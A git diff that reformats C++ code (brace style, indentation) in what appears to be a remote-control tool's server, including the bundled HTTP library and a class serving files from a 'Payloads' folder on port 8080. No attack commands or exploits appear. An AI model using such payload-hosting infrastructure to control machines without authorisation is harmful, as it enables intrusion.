100644 --- a/server/2015Remote/ToolbarDlg.cpp +++ b/server/2015Remote/ToolbarDlg.cpp @@ -294,9 +294,15 @@ void CToolbarDlg::ApplyOpacity() // 透明度级别: 0=100%(255), 1=75%(191), 2=50%(128) BYTE opacity; switch (m_nOpacityLevel) { - case 1: opacity = 191; break; // 75% - case 2: opacity = 128; break; // 50% - default: opacity = 255; break; // 100% + case 1: + opacity = 191; + break; // 75% + case 2: + opacity = 128; + break; // 50% + default: + opacity = 255; + break; // 100% } SetLayeredWindowAttributes(RGB(255, 0, 255), opacity, LWA_COLORKEY | LWA_ALPHA); } @@ -304,9 +310,12 @@ void CToolbarDlg::ApplyOpacity() CString CToolbarDlg::GetOpacityText() { switch (m_nOpacityLevel) { - case 1: return _TR("透明75%"); - case 2: return _TR("透明50%"); - default: return _TR("透明度"); + case 1: + return _TR("透明75%"); + case 2: + return _TR("透明50%"); + default: + return _TR("透明度"); } } diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 6669433..d728261 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -39,12 +39,15 @@ public: virtual FlagType GetFlagType() const = 0; virtual std::string GetGroupName() const = 0; virtual uint64_t GetAliveTime()const = 0; - virtual void SetLastHeartbeat(uint64_t time) = 0; + virtual void SetLastHeartbeat(uint64_t time) = 0; virtual uint64_t GetLastHeartbeat() = 0; virtual void CancelIO() = 0; public: virtual ~context() {} virtual void Destroy() {} - virtual BOOL IsLogin() const { return TRUE; } + virtual BOOL IsLogin() const + { + return TRUE; + } virtual void SetGroupName(const std::string& group) {} }; diff --git a/server/2015Remote/file_server.h b/server/2015Remote/file_server.h index 3d15152..c9c90a4 100644 --- a/server/2015Remote/file_server.h +++ b/server/2015Remote/file_server.h @@ -18,16 +18,19 @@ namespace fs = std::filesystem; -class FileDownloadServer { +class FileDownloadServer +{ public: - FileDownloadServer(int port = 8080) : port_(port) { + FileDownloadServer(int port = 8080) : port_(port) + { char exe_path[MAX_PATH]; GetModuleFileNameA(NULL, exe_path, MAX_PATH); root_dir_ = fs::path(exe_path).parent_path() / "Payloads"; fs::create_directories(root_dir_); } - bool Start() { + bool Start() + { server_.Get("/payloads/(.*)", [this](const httplib::Request& req, httplib::Response& res) { std::string filename = req.matches[1]; @@ -47,38 +50,39 @@ public: std::string path_str = filepath.string(); res.set_header("Content-Disposition", - "attachment; filename=\"" + filename + "\""); + "attachment; filename=\"" + filename + "\""); res.set_content_provider(filesize, "application/octet-stream", - [path_str](size_t offset, size_t length, httplib::DataSink& sink) { - std::ifstream file(path_str, std::ios::binary); - if (!file) return false; - file.seekg(offset); + [path_str](size_t offset, size_t length, httplib::DataSink& sink) { + std::ifstream file(path_str, std::ios::binary); + if (!file) return false; + file.seekg(offset); - char buffer[65536]; - size_t remaining = length; - while (remaining > 0 && file) { - size_t to_read = (std::min)(remaining, sizeof(buffer)); - file.read(buffer, to_read); - size_t n = (size_t)file.gcount(); - if (n == 0) break; - sink.write(buffer, n); - remaining -= n; - } - return true; + char buffer[65536]; + size_t remaining = length; + while (remaining > 0 && file) { + size_t to_read = (std::min)(remaining, sizeof(buffer)); + file.read(buffer, to_read); + size_t n = (size_t)file.gcount(); + if (n == 0) break; + sink.write(buffer, n); + remaining -= n; } - ); - }); + return true; + } + ); + }); server_thread_ = std::thread([this]() { server_.listen("0.0.0.0", port_); - }); + }); std::this_thread::sleep_for(std::chrono::milliseconds(100)); return server_.is_running(); } - void Stop() { + void Stop() + { server_.stop(); if (server_thread_.joinable()) server_thread_.join(); } diff --git a/server/2015Remote/httplib.h b/server/2015Remote/httplib.h index d29ff85..851ae4c 100644 --- a/server/2015Remote/httplib.h +++ b/server/2015Remote/httplib.h @@ -288,9 +288,11 @@ using socket_t = int; /* * Declaration */ -namespace httplib { +namespace httplib +{ -namespace detail { +namespace detail +{ /* * Backport std::make_unique from C++14. @@ -302,130 +304,140 @@ namespace detail { template typename std::enable_if::value, std::unique_ptr>::type -make_unique(Args &&...args) { - return std::unique_ptr(new T(std::forward(args)...)); +make_unique(Args &&...args) +{ + return std::unique_ptr(new T(std::forward(args)...)); } template typename std::enable_if::value, std::unique_ptr>::type -make_unique(std::size_t n) { - typedef typename std::remove_extent::type RT; - return std::unique_ptr(new RT[n]); +make_unique(std::size_t n) +{ + typedef typename std::remove_extent::type RT; + return std::unique_ptr(new RT[n]); } struct ci { - bool operator()(const std::string &s1, const std::string &s2) const { - return std::lexicographical_compare(s1.begin(), s1.end(), s2.begin(), - s2.end(), - [](unsigned char c1, unsigned char c2) { - return ::tolower(c1) < ::tolower(c2); - }); - } + bool operator()(const std::string &s1, const std::string &s2) const + { + return std::lexicographical_compare(s1.begin(), s1.end(), s2.begin(), + s2.end(), + [](unsigned char c1, unsigned char c2) { + return ::tolower(c1) < ::tolower(c2); + }); + } }; // This is based on // "http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4189". struct scope_exit { - explicit scope_exit(std::function &&f) - : exit_function(std::move(f)), execute_on_destruction{true} {} + explicit scope_exit(std::function &&f) + : exit_function(std::move(f)), execute_on_destruction{true} {} - scope_exit(scope_exit &&rhs) noexcept - : exit_function(std::move(rhs.exit_function)), - execute_on_destruction{rhs.execute_on_destruction} { - rhs.release(); - } + scope_exit(scope_exit &&rhs) noexcept + : exit_function(std::move(rhs.exit_function)), + execute_on_destruction{rhs.execute_on_destruction} + { + rhs.release(); + } - ~scope_exit() { - if (execute_on_destruction) { this->exit_function(); } - } + ~scope_exit() + { + if (execute_on_destruction) { + this->exit_function(); + } + } - void release() { this->execute_on_destruction = false; } + void release() + { + this->execute_on_destruction = false; + } private: - scope_exit(const scope_exit &) = delete; - void operator=(const scope_exit &) = delete; - scope_exit &operator=(scope_exit &&) = delete; + scope_exit(const scope_exit &) = delete; + void operator=(const scope_exit &) = delete; + scope_exit &operator=(scope_exit &&) = delete; - std::function exit_function; - bool execute_on_destruction; + std::function exit_function; + bool execute_on_destruction; }; } // namespace detail enum StatusCode { - // Information responses - Continue_100 = 100, - SwitchingProtocol_101 = 101, - Processing_102 = 102, - EarlyHints_103 = 103, + // Information responses + Continue_100 = 100, + SwitchingProtocol_101 = 101, + Processing_102 = 102, + EarlyHints_103 = 103, - // Successful responses - OK_200 = 200, - Created_201 = 201, - Accepted_202 = 202, - NonAuthoritativeInformation_203 = 203, - NoContent_204 = 204, - ResetContent_205 = 205, - PartialContent_206 = 206, - MultiStatus_207 = 207, - AlreadyReported_208 = 208, - IMUsed_226 = 226, + // Successful responses + OK_200 = 200, + Created_201 = 201, + Accepted_202 = 202, + NonAuthoritativeInformation_203 = 203, + NoContent_204 = 204, + ResetContent_205 = 205, + PartialContent_206 = 206, + MultiStatus_207 = 207, + AlreadyReported_208 = 208, + IMUsed_226 = 226, - // Redirection messages - MultipleChoices_300 = 300, - MovedPermanently_301 = 301, - Found_302 = 302, - SeeOther_303 = 303, - NotModified_304 = 304, - UseProxy_305 = 305, - unused_306 = 306, - TemporaryRedirect_307 = 307, - PermanentRedirect_308 = 308, + // Redirection messages + MultipleChoices_300 = 300, + MovedPermanently_301 = 301, + Found_302 = 302, + SeeOther_303 = 303, + NotModified_304 = 304, + UseProxy_305 = 305, + unused_306 = 306, + TemporaryRedirect_307 = 307, + PermanentRedirect_308 = 308, - // Client error responses - BadRequest_400 = 400, - Unauthorized_401 = 401, - PaymentRequired_402 = 402, - Forbidden_403 = 403, - NotFound_404 = 404, - MethodNotAllowed_405 = 405, - NotAcceptable_406 = 406, - ProxyAuthenticationRequired_407 = 407, - RequestTimeout_408 = 408, - Conflict_409 = 409, - Gone_410 = 410, - LengthRequired_411 = 411, - PreconditionFailed_412 = 412, - PayloadTooLarge_413 = 413, - UriTooLong_414 = 414, - UnsupportedMediaType_415 = 415, - RangeNotSatisfiable_416 = 416, - ExpectationFailed_417 = 417, - ImATeapot_418 = 418, - MisdirectedRequest_421 = 421, - UnprocessableContent_422 = 422, - Locked_423 = 423, - FailedDependency_424 = 424, - TooEarly_425 = 425, - UpgradeRequired_426 = 426, - PreconditionRequired_428 = 428, - TooManyRequests_429 = 429, - RequestHeaderFieldsTooLarge_431 = 431, - UnavailableForLegalReasons_451 = 451, + // Client error responses + BadRequest_400 = 400, + Unauthorized_401 = 401, + PaymentRequired_402 = 402, + Forbidden_403 = 403, + NotFound_404 = 404, + MethodNotAllowed_405 = 405, + NotAcceptable_406 = 406, + ProxyAuthenticationRequired_407 = 407, + RequestTimeout_408 = 408, + Conflict_409 = 409, + Gone_410 = 410, + LengthRequired_411 = 411, + PreconditionFailed_412 = 412, + PayloadTooLarge_413 = 413, + UriTooLong_414 = 414, + UnsupportedMediaType_415 = 415, + RangeNotSatisfiable_416 = 416, + ExpectationFailed_417 = 417, + ImATeapot_418 = 418, + MisdirectedRequest_421 = 421, + UnprocessableContent_422 = 422, + Locked_423 = 423, + FailedDependency_424 = 424, + TooEarly_425 = 425, + UpgradeRequired_426 = 426, + PreconditionRequired_428 = 428, + TooManyRequests_429 = 429, + RequestHeaderFieldsTooLarge_431 = 431, + UnavailableForLegalReasons_451 = 451, - // Server error responses - InternalServerError_500 = 500, - NotImplemented_501 = 501, - BadGateway_502 = 502, - ServiceUnavailable_503 = 503, - GatewayTimeout_504 = 504, - HttpVersionNotSupported_505 = 505, - VariantAlsoNegotiates_506 = 506, - InsufficientStorage_507 = 507, - LoopDetected_508 = 508, - NotExtended_510 = 510, - NetworkAuthenticationRequired_511 = 511, + // Server error responses + InternalServerError_500 = 500, + NotImplemented_501 = 501, + BadGateway_502 = 502, + ServiceUnavailable_503 = 503, + GatewayTimeout_504 = 504, + HttpVersionNotSupported_505 = 505, + VariantAlsoNegotiates_506 = 506, + InsufficientStorage_507 = 507, + LoopDetected_508 = 508, + NotExtended_510 = 510, + NetworkAuthenticationRequired_511 = 511, }; using Headers = std::multimap; @@ -439,45 +451,48 @@ struct Response; using ResponseHandler = std::function; struct MultipartFormData { - std::string name; - std::string content; - std::string filename; - std::string content_type; + std::string name; + std::string content; + std::string filename; + std::string content_type; }; using MultipartFormDataItems = std::vector; using MultipartFormDataMap = std::multimap; -class DataSink { +class DataSink +{ public: - DataSink() : os(&sb_), sb_(*this) {} + DataSink() : os(&sb_), sb_(*this) {} - DataSink(const DataSink &) = delete; - DataSink &operator=(const DataSink &) = delete; - DataSink(DataSink &&) = delete; - DataSink &operator=(DataSink &&) = delete; + DataSink(const DataSink &) = delete; + DataSink &operator=(const DataSink &) = delete; + DataSink(DataSink &&) = delete; + DataSink &operator=(DataSink &&) = delete; - std::function write; - std::function is_writable; - std::function done; - std::function done_with_trailer; - std::ostream os; + std::function write; + std::function is_writable; + std::function done; + std::function done_with_trailer; + std::ostream os; private: - class data_sink_streambuf : public std::streambuf { - public: - explicit data_sink_streambuf(DataSink &sink) : sink_(sink) {} + class data_sink_streambuf : public std::streambuf + { + public: + explicit data_sink_streambuf(DataSink &sink) : sink_(sink) {} - protected: - std::streamsize xsputn(const char *s, std::streamsize n) override { - sink_.write(s, static_cast(n)); - return n; - } + protected: + std::streamsize xsputn(const char *s, std::streamsize n) override + { + sink_.write(s, static_cast(n)); + return n; + } - private: - DataSink &sink_; - }; + private: + DataSink &sink_; + }; - data_sink_streambuf sb_; + data_sink_streambuf sb_; }; using ContentProvider = @@ -489,10 +504,10 @@ using ContentProviderWithoutLength = using ContentProviderResourceReleaser = std::function; struct MultipartFormDataProvider { - std::string name; - ContentProviderWithoutLength provider; - std::string filename; - std::string content_type; + std::string name; + ContentProviderWithoutLength provider; + std::string filename; + std::string content_type; }; using MultipartFormDataProviderItems = std::vector; @@ -506,234 +521,247 @@ using ContentReceiver = using MultipartContentHeader = std::function; -class ContentReader { +class ContentReader +{ public: - using Reader = std::function; - using MultipartReader = std::function; + using Reader = std::function; + using MultipartReader = std::function; - ContentReader(Reader reader, MultipartReader multipart_reader) - : reader_(std::move(reader)), - multipart_reader_(std::move(multipart_reader)) {} + ContentReader(Reader reader, MultipartReader multipart_reader) + : reader_(std::move(reader)), + multipart_reader_(std::move(multipart_reader)) {} - bool operator()(MultipartContentHeader header, - ContentReceiver receiver) const { - return multipart_reader_(std::move(header), std::move(receiver)); - } + bool operator()(MultipartContentHeader header, + ContentReceiver receiver) const + { + return multipart_reader_(std::move(header), std::move(receiver)); + } - bool operator()(ContentReceiver receiver) const { - return reader_(std::move(receiver)); - } + bool operator()(ContentReceiver receiver) const + { + return reader_(std::move(receiver)); + } - Reader reader_; - MultipartReader multipart_reader_; + Reader reader_; + MultipartReader multipart_reader_; }; using Range = std::pair; using Ranges = std::vector; struct Request { - std::string method; - std::string path; - Headers headers; - std::string body; + std::string method; + std::string path; + Headers headers; + std::string body; - std::string remote_addr; - int remote_port = -1; - std::string local_addr; - int local_port = -1; + std::string remote_addr; + int remote_port = -1; + std::string local_addr; + int local_port = -1; - // for server - std::string version; - std::string target; - Params params; - MultipartFormDataMap files; - Ranges ranges; - Match matches; - std::unordered_map path_params; + // for server + std::string version; + std::string target; + Params params; + MultipartFormDataMap files; + Ranges ranges; + Match matches; + std::unordered_map path_params; - // for client - ResponseHandler response_handler; - ContentReceiverWithProgress content_receiver; - Progress progress; + // for client + ResponseHandler response_handler; + ContentReceiverWithProgress content_receiver; + Progress progress; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - const SSL *ssl = nullptr; + const SSL *ssl = nullptr; #endif - bool has_header(const std::string &key) const; - std::string get_header_value(const std::string &key, size_t id = 0) const; - uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; - size_t get_header_value_count(const std::string &key) const; - void set_header(const std::string &key, const std::string &val); + bool has_header(const std::string &key) const; + std::string get_header_value(const std::string &key, size_t id = 0) const; + uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; + size_t get_header_value_count(const std::string &key) const; + void set_header(const std::string &key, const std::string &val); - bool has_param(const std::string &key) const; - std::string get_param_value(const std::string &key, size_t id = 0) const; - size_t get_param_value_count(const std::string &key) const; + bool has_param(const std::string &key) const; + std::string get_param_value(const std::string &key, size_t id = 0) const; + size_t get_param_value_count(const std::string &key) const; - bool is_multipart_form_data() const; + bool is_multipart_form_data() const; - bool has_file(const std::string &key) const; - MultipartFormData get_file_value(const std::string &key) const; - std::vector get_file_values(const std::string &key) const; + bool has_file(const std::string &key) const; + MultipartFormData get_file_value(const std::string &key) const; + std::vector get_file_values(const std::string &key) const; - // private members... - size_t redirect_count_ = CPPHTTPLIB_REDIRECT_MAX_COUNT; - size_t content_length_ = 0; - ContentProvider content_provider_; - bool is_chunked_content_provider_ = false; - size_t authorization_count_ = 0; + // private members... + size_t redirect_count_ = CPPHTTPLIB_REDIRECT_MAX_COUNT; + size_t content_length_ = 0; + ContentProvider content_provider_; + bool is_chunked_content_provider_ = false; + size_t authorization_count_ = 0; }; struct Response { - std::string version; - int status = -1; - std::string reason; - Headers headers; - std::string body; - std::string location; // Redirect location + std::string version; + int status = -1; + std::string reason; + Headers headers; + std::string body; + std::string location; // Redirect location - bool has_header(const std::string &key) const; - std::string get_header_value(const std::string &key, size_t id = 0) const; - uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; - size_t get_header_value_count(const std::string &key) const; - void set_header(const std::string &key, const std::string &val); + bool has_header(const std::string &key) const; + std::string get_header_value(const std::string &key, size_t id = 0) const; + uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; + size_t get_header_value_count(const std::string &key) const; + void set_header(const std::string &key, const std::string &val); - void set_redirect(const std::string &url, int status = StatusCode::Found_302); - void set_content(const char *s, size_t n, const std::string &content_type); - void set_content(const std::string &s, const std::string &content_type); + void set_redirect(const std::string &url, int status = StatusCode::Found_302); + void set_content(const char *s, size_t n, const std::string &content_type); + void set_content(const std::string &s, const std::string &content_type); - void set_content_provider( - size_t length, const std::string &content_type, ContentProvider provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_content_provider( + size_t length, const std::string &content_type, ContentProvider provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - void set_content_provider( - const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_content_provider( + const std::string &content_type, ContentProviderWithoutLength provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - void set_chunked_content_provider( - const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_chunked_content_provider( + const std::string &content_type, ContentProviderWithoutLength provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - Response() = default; - Response(const Response &) = default; - Response &operator=(const Response &) = default; - Response(Response &&) = default; - Response &operator=(Response &&) = default; - ~Response() { - if (content_provider_resource_releaser_) { - content_provider_resource_releaser_(content_provider_success_); - } - } - - // private members... - size_t content_length_ = 0; - ContentProvider content_provider_; - ContentProviderResourceReleaser content_provider_resource_releaser_; - bool is_chunked_content_provider_ = false; - bool content_provider_success_ = false; -}; - -class Stream { -public: - virtual ~Stream() = default; - - virtual bool is_readable() const = 0; - virtual bool is_writable() const = 0; - - virtual ssize_t read(char *ptr, size_t size) = 0; - virtual ssize_t write(const char *ptr, size_t size) = 0; - virtual void get_remote_ip_and_port(std::string &ip, int &port) const = 0; - virtual void get_local_ip_and_port(std::string &ip, int &port) const = 0; - virtual socket_t socket() const = 0; - - template - ssize_t write_format(const char *fmt, const Args &...args); - ssize_t write(const char *ptr); - ssize_t write(const std::string &s); -}; - -class TaskQueue { -public: - TaskQueue() = default; - virtual ~TaskQueue() = default; - - virtual void enqueue(std::function fn) = 0; - virtual void shutdown() = 0; - - virtual void on_idle() {} -}; - -class ThreadPool : public TaskQueue { -public: - explicit ThreadPool(size_t n) : shutdown_(false) { - while (n) { - threads_.emplace_back(worker(*this)); - n--; - } - } - - ThreadPool(const ThreadPool &) = delete; - ~ThreadPool() override = default; - - void enqueue(std::function fn) override { + Response() = default; + Response(const Response &) = default; + Response &operator=(const Response &) = default; + Response(Response &&) = default; + Response &operator=(Response &&) = default; + ~Response() { - std::unique_lock lock(mutex_); - jobs_.push_back(std::move(fn)); + if (content_provider_resource_releaser_) { + content_provider_resource_releaser_(content_provider_success_); + } } - cond_.notify_one(); - } + // private members... + size_t content_length_ = 0; + ContentProvider content_provider_; + ContentProviderResourceReleaser content_provider_resource_releaser_; + bool is_chunked_content_provider_ = false; + bool content_provider_success_ = false; +}; - void shutdown() override { - // Stop all worker threads... +class Stream +{ +public: + virtual ~Stream() = default; + + virtual bool is_readable() const = 0; + virtual bool is_writable() const = 0; + + virtual ssize_t read(char *ptr, size_t size) = 0; + virtual ssize_t write(const char *ptr, size_t size) = 0; + virtual void get_remote_ip_and_port(std::string &ip, int &port) const = 0; + virtual void get_local_ip_and_port(std::string &ip, int &port) const = 0; + virtual socket_t socket() const = 0; + + template + ssize_t write_format(const char *fmt, const Args &...args); + ssize_t write(const char *ptr); + ssize_t write(const std::string &s); +}; + +class TaskQueue +{ +public: + TaskQueue() = default; + virtual ~TaskQueue() = default; + + virtual void enqueue(std::function fn) = 0; + virtual void shutdown() = 0; + + virtual void on_idle() {} +}; + +class ThreadPool : public TaskQueue +{ +public: + explicit ThreadPool(size_t n) : shutdown_(false) { - std::unique_lock lock(mutex_); - shutdown_ = true; + while (n) { + threads_.emplace_back(worker(*this)); + n--; + } } - cond_.notify_all(); + ThreadPool(const ThreadPool &) = delete; + ~ThreadPool() override = default; - // Join... - for (auto &t : threads_) { - t.join(); - } - } - -private: - struct worker { - explicit worker(ThreadPool &pool) : pool_(pool) {} - - void operator()() { - for (;;) { - std::function fn; + void enqueue(std::function fn) override + { { - std::unique_lock lock(pool_.mutex_); - - pool_.cond_.wait( - lock, [&] { return !pool_.jobs_.empty() || pool_.shutdown_; }); - - if (pool_.shutdown_ && pool_.jobs_.empty()) { break; } - - fn = std::move(pool_.jobs_.front()); - pool_.jobs_.pop_front(); + std::unique_lock lock(mutex_); + jobs_.push_back(std::move(fn)); } - assert(true == static_cast(fn)); - fn(); - } + cond_.notify_one(); } - ThreadPool &pool_; - }; - friend struct worker; + void shutdown() override + { + // Stop all worker threads... + { + std::unique_lock lock(mutex_); + shutdown_ = true; + } - std::vector threads_; - std::list> jobs_; + cond_.notify_all(); - bool shutdown_; + // Join... + for (auto &t : threads_) { + t.join(); + } + } - std::condition_variable cond_; - std::mutex mutex_; +private: + struct worker { + explicit worker(ThreadPool &pool) : pool_(pool) {} + + void operator()() + { + for (;;) { + std::function fn; + { + std::unique_lock lock(pool_.mutex_); + + pool_.cond_.wait( + lock, [&] { return !pool_.jobs_.empty() || pool_.shutdown_; }); + + if (pool_.shutdown_ && pool_.jobs_.empty()) { + break; + } + + fn = std::move(pool_.jobs_.front()); + pool_.jobs_.pop_front(); + } + + assert(true == static_cast(fn)); + fn(); + } + } + + ThreadPool &pool_; + }; + friend struct worker; + + std::vector threads_; + std::list> jobs_; + + bool shutdown_; + + std::condition_variable cond_; + std::mutex mutex_; }; using Logger = std::function; @@ -744,14 +772,16 @@ void default_socket_options(socket_t sock); const char *status_message(int status); -namespace detail { +namespace detail +{ -class MatcherBase { +class MatcherBase +{ public: - virtual ~MatcherBase() = default; + virtual ~MatcherBase() = default; - // Match request path and populate its matches and - virtual bool match(Request &request) const = 0; + // Match request path and populate its matches and + virtual bool match(Request &request) const = 0; }; /** @@ -772,26 +802,27 @@ public: * the resulting capture will be * {{"capture", "1"}, {"second_capture", "2"}} */ -class PathParamsMatcher : public MatcherBase { +class PathParamsMatcher : public MatcherBase +{ public: - PathParamsMatcher(const std::string &pattern); + PathParamsMatcher(const std::string &pattern); - bool match(Request &request) const override; + bool match(Request &request) const override; private: - static constexpr char marker = ':'; - // Treat segment separators as the end of path parameter capture - // Does not need to handle query parameters as they are parsed before path - // matching - static constexpr char separator = '/'; + static constexpr char marker = ':'; + // Treat segment separators as the end of path parameter capture + // Does not need to handle query parameters as they are parsed before path + // matching + static constexpr char separator = '/'; - // Contains static path fragments to match against, excluding the '/' after - // path params - // Fragments are separated by path params - std::vector static_fragments_; - // Stores the names of the path parameters to be used as keys in the - // Request::path_params map - std::vector param_names_; + // Contains static path fragments to match against, excluding the '/' after + // path params + // Fragments are separated by path params + std::vector static_fragments_; + // Stores the names of the path parameters to be used as keys in the + // Request::path_params map + std::vector param_names_; }; /** @@ -802,986 +833,1026 @@ private: * This means that wildcard patterns may match multiple path segments with /: * "/begin/(.*)/end" will match both "/begin/middle/end" and "/begin/1/2/end". */ -class RegexMatcher : public MatcherBase { +class RegexMatcher : public MatcherBase +{ public: - RegexMatcher(const std::string &pattern) : regex_(pattern) {} + RegexMatcher(const std::string &pattern) : regex_(pattern) {} - bool match(Request &request) const override; + bool match(Request &request) const override; private: - std::regex regex_; + std::regex regex_; }; ssize_t write_headers(Stream &strm, const Headers &headers); } // namespace detail -class Server { +class Server +{ public: - using Handler = std::function; + using Handler = std::function; - using ExceptionHandler = - std::function; + using ExceptionHandler = + std::function; - enum class HandlerResponse { - Handled, - Unhandled, - }; - using HandlerWithResponse = - std::function; + enum class HandlerResponse { + Handled, + Unhandled, + }; + using HandlerWithResponse = + std::function; - using HandlerWithContentReader = std::function; + using HandlerWithContentReader = std::function; - using Expect100ContinueHandler = - std::function; + using Expect100ContinueHandler = + std::function; - Server(); + Server(); - virtual ~Server(); + virtual ~Server(); - virtual bool is_valid() const; + virtual bool is_valid() const; - Server &Get(const std::string &pattern, Handler handler); - Server &Post(const std::string &pattern, Handler handler); - Server &Post(const std::string &pattern, HandlerWithContentReader handler); - Server &Put(const std::string &pattern, Handler handler); - Server &Put(const std::string &pattern, HandlerWithContentReader handler); - Server &Patch(const std::string &pattern, Handler handler); - Server &Patch(const std::string &pattern, HandlerWithContentReader handler); - Server &Delete(const std::string &pattern, Handler handler); - Server &Delete(const std::string &pattern, HandlerWithContentReader handler); - Server &Options(const std::string &pattern, Handler handler); + Server &Get(const std::string &pattern, Handler handler); + Server &Post(const std::string &pattern, Handler handler); + Server &Post(const std::string &pattern, HandlerWithContentReader handler); + Server &Put(const std::string &pattern, Handler handler); + Server &Put(const std::string &pattern, HandlerWithContentReader handler); + Server &Patch(const std::string &pattern, Handler handler); + Server &Patch(const std::string &pattern, HandlerWithContentReader handler); + Server &Delete(const std::string &pattern, Handler handler); + Server &Delete(const std::string &pattern, HandlerWithContentReader handler); + Server &Options(const std::string &pattern, Handler handler); - bool set_base_dir(const std::string &dir, - const std::string &mount_point = std::string()); - bool set_mount_point(const std::string &mount_point, const std::string &dir, - Headers headers = Headers()); - bool remove_mount_point(const std::string &mount_point); - Server &set_file_extension_and_mimetype_mapping(const std::string &ext, - const std::string &mime); - Server &set_default_file_mimetype(const std::string &mime); - Server &set_file_request_handler(Handler handler); + bool set_base_dir(const std::string &dir, + const std::string &mount_point = std::string()); + bool set_mount_point(const std::string &mount_point, const std::string &dir, + Headers headers = Headers()); + bool remove_mount_point(const std::string &mount_point); + Server &set_file_extension_and_mimetype_mapping(const std::string &ext, + const std::string &mime); + Server &set_default_file_mimetype(const std::string &mime); + Server &set_file_request_handler(Handler handler); - Server &set_error_handler(HandlerWithResponse handler); - Server &set_error_handler(Handler handler); - Server &set_exception_handler(ExceptionHandler handler); - Server &set_pre_routing_handler(HandlerWithResponse handler); - Server &set_post_routing_handler(Handler handler); + Server &set_error_handler(HandlerWithResponse handler); + Server &set_error_handler(Handler handler); + Server &set_exception_handler(ExceptionHandler handler); + Server &set_pre_routing_handler(HandlerWithResponse handler); + Server &set_post_routing_handler(Handler handler); - Server &set_expect_100_continue_handler(Expect100ContinueHandler handler); - Server &set_logger(Logger logger); + Server &set_expect_100_continue_handler(Expect100ContinueHandler handler); + Server &set_logger(Logger logger); - Server &set_address_family(int family); - Server &set_tcp_nodelay(bool on); - Server &set_socket_options(SocketOptions socket_options); + Server &set_address_family(int family); + Server &set_tcp_nodelay(bool on); + Server &set_socket_options(SocketOptions socket_options); - Server &set_default_headers(Headers headers); - Server & - set_header_writer(std::function const &writer); + Server &set_default_headers(Headers headers); + Server & + set_header_writer(std::function const &writer); - Server &set_keep_alive_max_count(size_t count); - Server &set_keep_alive_timeout(time_t sec); + Server &set_keep_alive_max_count(size_t count); + Server &set_keep_alive_timeout(time_t sec); - Server &set_read_timeout(time_t sec, time_t usec = 0); - template - Server &set_read_timeout(const std::chrono::duration &duration); + Server &set_read_timeout(time_t sec, time_t usec = 0); + template + Server &set_read_timeout(const std::chrono::duration &duration); - Server &set_write_timeout(time_t sec, time_t usec = 0); - template - Server &set_write_timeout(const std::chrono::duration &duration); + Server &set_write_timeout(time_t sec, time_t usec = 0); + template + Server &set_write_timeout(const std::chrono::duration &duration); - Server &set_idle_interval(time_t sec, time_t usec = 0); - template - Server &set_idle_interval(const std::chrono::duration &duration); + Server &set_idle_interval(time_t sec, time_t usec = 0); + template + Server &set_idle_interval(const std::chrono::duration &duration); - Server &set_payload_max_length(size_t length); + Server &set_payload_max_length(size_t length); - bool bind_to_port(const std::string &host, int port, int socket_flags = 0); - int bind_to_any_port(const std::string &host, int socket_flags = 0); - bool listen_after_bind(); + bool bind_to_port(const std::string &host, int port, int socket_flags = 0); + int bind_to_any_port(const std::string &host, int socket_flags = 0); + bool listen_after_bind(); - bool listen(const std::string &host, int port, int socket_flags = 0); + bool listen(const std::string &host, int port, int socket_flags = 0); - bool is_running() const; - void wait_until_ready() const; - void stop(); + bool is_running() const; + void wait_until_ready() const; + void stop(); - std::function new_task_queue; + std::function new_task_queue; protected: - bool process_request(Stream &strm, bool close_connection, - bool &connection_closed, - const std::function &setup_request); + bool process_request(Stream &strm, bool close_connection, + bool &connection_closed, + const std::function &setup_request); - std::atomic svr_sock_{INVALID_SOCKET}; - size_t keep_alive_max_count_ = CPPHTTPLIB_KEEPALIVE_MAX_COUNT; - time_t keep_alive_timeout_sec_ = CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND; - time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; - time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; - time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; - time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; - time_t idle_interval_sec_ = CPPHTTPLIB_IDLE_INTERVAL_SECOND; - time_t idle_interval_usec_ = CPPHTTPLIB_IDLE_INTERVAL_USECOND; - size_t payload_max_length_ = CPPHTTPLIB_PAYLOAD_MAX_LENGTH; + std::atomic svr_sock_{INVALID_SOCKET}; + size_t keep_alive_max_count_ = CPPHTTPLIB_KEEPALIVE_MAX_COUNT; + time_t keep_alive_timeout_sec_ = CPPHTTPLIB_KEEPALIVE_TIMEOUT_SECOND; + time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; + time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; + time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; + time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; + time_t idle_interval_sec_ = CPPHTTPLIB_IDLE_INTERVAL_SECOND; + time_t idle_interval_usec_ = CPPHTTPLIB_IDLE_INTERVAL_USECOND; + size_t payload_max_length_ = CPPHTTPLIB_PAYLOAD_MAX_LENGTH; private: - using Handlers = - std::vector, Handler>>; - using HandlersForContentReader = - std::vector, - HandlerWithContentReader>>; + using Handlers = + std::vector, Handler>>; + using HandlersForContentReader = + std::vector, + HandlerWithContentReader>>; - static std::unique_ptr - make_matcher(const std::string &pattern); + static std::unique_ptr + make_matcher(const std::string &pattern); - socket_t create_server_socket(const std::string &host, int port, - int socket_flags, - SocketOptions socket_options) const; - int bind_internal(const std::string &host, int port, int socket_flags); - bool listen_internal(); + socket_t 